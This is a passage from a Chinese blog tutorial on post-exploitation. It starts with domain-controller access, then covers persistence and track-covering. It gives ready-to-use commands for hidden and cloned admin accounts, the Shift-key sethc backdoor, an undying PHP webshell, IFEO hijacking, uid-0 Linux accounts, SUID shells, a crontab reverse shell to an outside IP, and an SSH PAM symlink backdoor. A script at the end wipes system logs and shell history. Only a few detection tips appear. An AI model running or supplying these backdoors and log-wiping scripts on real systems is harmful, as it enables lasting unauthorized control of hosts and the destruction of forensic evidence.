访问域控

成功访问到域控共享目录,远程登陆,执行命令

PsExec64.exe -accepteula  \\dc.only.com  -s cmd /c "whoami"

白银票据的服务列表

服务名称                              同时需要的服务
WMI                                  HOST、RPCSS
PowerShell Remoting                  HOST、HTTP
WinRM                                HOST、HTTP
Scheduled Tasks                      HOST
Windows File Share                   CIFS
LDAP                                 LDAP
Windows Remote Server                RPCSS、LDAP、CIFS

0x05.权限维持

1.Windows权限维持

可以直接简单的把权限维持理解为我们在目标上安装了一个后门,权限维持的目的是保证自己的权限不会掉,一直控制目标。

(1)隐藏账户

隐藏账户,顾名思义就是计算机看不到的用户(不是不存在用户只是用一般的查看方式看不到)

$符号隐藏用户
如(hack$)达到简单的隐藏用户目的,从而进行简单的权限维持,查看用户

可以看见当前win7的机器上存在三个用户Administrator,Guest,win7

接下来我们创建一个简单的隐藏用户,如下命令

接下来使用net user 命令查看电脑中的用户,可以发现并没有hack$这个用户

通过【控制面板】->【管理账户】中是可以看到该用户的,或者其他方式是可以看到的

注册表克隆用户隐藏

因为$用户可以看到,在上一步的基础上我们打开注册表,在注册表操作进行用户隐藏

提示:该操作建立在上面$符号隐藏用户的基础上的

注册表找到HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Accout\Users\Name路径下

导出注册表文件(之前创建的hack$用户),会生成一个reg文件

将HKEY_LOCAL_KACHINE\SAM\SAM\Domain\Account\Users中的administrator中的F键值复制




将hack$对应的数据导出来,保存为hack$​

删除hack$用户并重新添加(点击1.reg和2.reg即可)

发现用户hack$消失

(2)Shift后门

shift后门原理
把cmd.exe这个程序更名称sethc.exe替换掉在登录界面的时候我们连续按下5次shift键系统以system权限就会运行我们的cmd.exe那么我们的cmd.exe就具有了管理员权限了

shift后门制作
1.在命令行执行以下命令,为复制cmd.exe为sethc.exe

copy C:\WINDOWS\system32\cmd.exe C:\windows\system32\sethc.exe

但是会提示拒绝访问

需要更改文件权限,如下命令

takeown /f c:\windows\system32. /a /r /d y       注释:强制将当前目录下的所有文件以及文件夹,子文件夹下的所有者更改为管理员组(administrator)
cacls c:\windows\system32. /T /E /G administrator:F  注释:在当前目录下的文件,子文件夹的NTFS权限上添加管理员组(administrator)完全控制权限(并不删除原有NTFS权限设置)

此时在未登录的状态下按连续按5次SHIFT即可弹出最高权限的cmd窗口。

(3)PHP内存马

创建 inc_data_config.php 文件

<?php
ignore_user_abort();
//关掉浏览器,PHP脚本也可以继续执行.
set_time_limit(0);
//通过set_time_limit(0)可以让程序无限制的执行下去
$interval = 5;
// 每隔*秒运行
do {
	$filename = 'test.php';
	if(file_exists($filename)) {
		echo "xxx";
	} else {
		$file = fopen("test.php", "w");
		$txt = "<?php phpinfo();?>\n";
		fwrite($file, $txt);
		fclose($file);
	}
	sleep($interval);
}
while (true);
?>

把这个php文件放到网站中,然后访问它。就会生成一个恶意文件,如果不死马检测到恶意文件不在了,每隔一定时间(此处是5秒)就会重新生成它。只有重启web服务的时候,删除掉不死马才能结束恶意文件的生成。

(4)映像劫持

cmd窗口中输入:regedit打开注册表,之后来到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options,新建一个“项”,这里的命名与后续要触发的可执行文件程序文件名一致,新建asuka.exe

然后在asuka.exe​的右侧新建一个字符串值Debugger​,在输入值的栏目中填入你的后门绝对路径,这里以cmd.exe为例。

攻击:随意找了一个文件,将其改名为asuka.exe​,一旦运行它,cmd就被打开了。

(4)策略组脚本

利用思路:借助组策略实现开机自动运行某恶意文件

准备一个bat文件,实现添加管理员组用户的操作

net user asuka 123.comCOM /add & net localgroup administrators asuka /add

然后把这个文件丢到开机启动项的文件夹中:C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

打开组策略

cmd中输入gpedit.msc​打开组策略,打开“windows设置”- “脚本(启动/关机)”,添加脚本。

重启靶机

检查当前用户有哪些,发现已经添加了asuka用户

2.Linux权限维持

(1)后门账户

###添加普通用户:
# 创建一个用户名guest,密码123456的普通用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest
 
# useradd -p 方法  ` ` 是用来存放可执行的系统命令,"$()"也可以存放命令执行语句
useradd -p "$(openssl passwd -1 123456)" guest2
 
# chpasswd方法
useradd guest;
echo 'guest:123456'|chpasswd  --->debain
echo 123admiN@ | passwd guest --stdin   --> Centos
 
# echo -e方法
useradd test;echo -e "fas34@as\nfas34@as\n" | passwd test
 
 
###添加root用户:
# 创建一个用户名guest,密码123admiN@的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123admiN` z4pts -o -u 0 -g root -G root -s /bin/bash -d /home/z4pts
 
echo "cshm:x:0:0::/:/bin/sh" >> /etc/passwd #增加超级用户账号
passwd cshm #修改cshm的密码为cshm123

可疑用户排查

# 查询特权用户特权用户(uid 为0)
[root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd
# 查询可以远程登录的帐号信息
[root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow
# 除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限
[root@localhost ~]# more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"

(2)SUID权限维持

配合普通用户权限使用
cp /usr/bin/bash /tmp/shell
chmod u+s /tmp/shell
cd /tmp/
./shell -p  # bash2 针对 suid 有一些护卫的措施,使用-p参数来获取一个root shell

检测:查找具有suid权限的文件即可

find / -perm +4000 -ls
find / -perm -u=s -type f 2>/dev/null

(3)Crontab反弹Shell

服务端操作:

#创建shell脚本,例如在/etc/evil.sh
#!/bin/bash
bash -i >& /dev/tcp/82.157.7.43/6666  0>&1
 
#给定执行权限
chmod +sx /etc/evil.sh
 
#配置计划任务
vim /etc/crontab 
*/1 * * * * root /etc/shell.sh
 
#重启计划任务
systemctl restart crond

客户端操作:

nc -lvvp 4321

(4)SSH 软连接后门

ssh配置中开启了PAM进行身份验证

查看是否使用PAM进行身份验证:cat/etc/ssh/sshd_config|grep UsePAM

软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),然而 su 在 pam_rootok 只检测uid 0 即可认证成功,这样就导致了可以使用任意密码登录:

ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345
使用kali进行登录ssh root@192.168.1.1 -p12345

排查技巧:进程、端口都可以发现异常,kill -s 9 PID​ 结束进程即可清除后门。

(5)SSH 公钥免密码登陆

这种用法不只是用在留后门,还可以在一些特殊情况下获取一个交互的shell,如struts写入公钥,oracle写入公钥连接,Redis未授权访问等情景。

利用方式:

cd /root/.ssh

ssh-keygen -t rsa 					# 生成公钥
cat id_rsa.pub > authorized_keys 	# 将id_rsa.pub内容放到目标.ssh/authorized_keys里

cat id_rsa

把id_rsa的内容复制出来放到kali中进行赋权登录

cd /home/kali/.ssh
vi id_rsa

chmod 600 id_rsa
ssh -i id_rsa root@192.168.0.113

0x06.痕迹清理

1.Windows痕迹清理

(1)常见日志

Windows 中需要清理的日志有:系统日志(SysEvent)、应用程序日志(AppEvent)、安全日志(SecEvent)

win+r + eventvwr.msc 打开事件查看器
注册表位置:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog
系统日志清理
记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃及数据
默认位置:C:\Windows\System32\winevt\Logs\System.evtx
应用程序日志清理
包含应用程序或系统程序记录的事件,主要记录程序运行方面的事件
默认位置:C:\Windows\System32\winevt\Logs\Application.evtx
安全日志清理
记录系统安全审计事件,包含各种类型登录日志、对象访问日志、进程追踪、特权使用、账号管理、策略变更和系统事件
默认位置:C:\Windows\System32\winevt\Logs\Security.evtx

(2)powershell

PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security}"

(3)Metasploit

# 显示日志信息
run event_manager -i
# 清除指定日志
run event_manager -c System
# 清除所有日志
run event_manager -c
run clearlogs 
clearev #清除windows中的应用程序日志、系统日志、安全日志

(4)清除recent

在文件资源管理器中点击“查看”->“选项”->在常规->隐私中点击”清除”按钮
或直接打开C:\Users\Administrator\Recent并删除所有内容
或在命令行中输入del /f /s /q “%userprofile%\Recent*.*

2.Linux痕迹清理

(1)清除命令历史记录

histroy -r          #删除当前会话历史记录
history -c          #删除内存中的所有命令历史
rm .bash_history   #删除历史文件中的内容
HISTZISE=0          #通过设置历史命令条数来清除所有历史记录

(2)linux日志文件

/var/run/utmp 记录现在登入的用户
/var/log/wtmp 记录用户所有的登入和登出
/var/log/lastlog 记录每一个用户最后登入时间
/var/log/btmp 记录错误的登入尝试
/var/log/auth.log 需要身份确认的操作
/var/log/secure 记录安全相关的日志信息
/var/log/maillog 记录邮件相关的日志信息
/var/log/message 记录系统启动后的信息和错误日志
/var/log/cron 记录定时任务相关的日志信息
/var/log/spooler 记录UUCP和news设备相关的日志信息
/var/log/boot.log 记录守护进程启动和停止相关的日志消息

(3)脚本清理

bash脚本一键清理

#!/usr/bin/bash
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/log/httpd/access_log
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/run/utmp
rm ~/./bash_history
history -c

posted @   Affected_Fish  阅读(1488)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示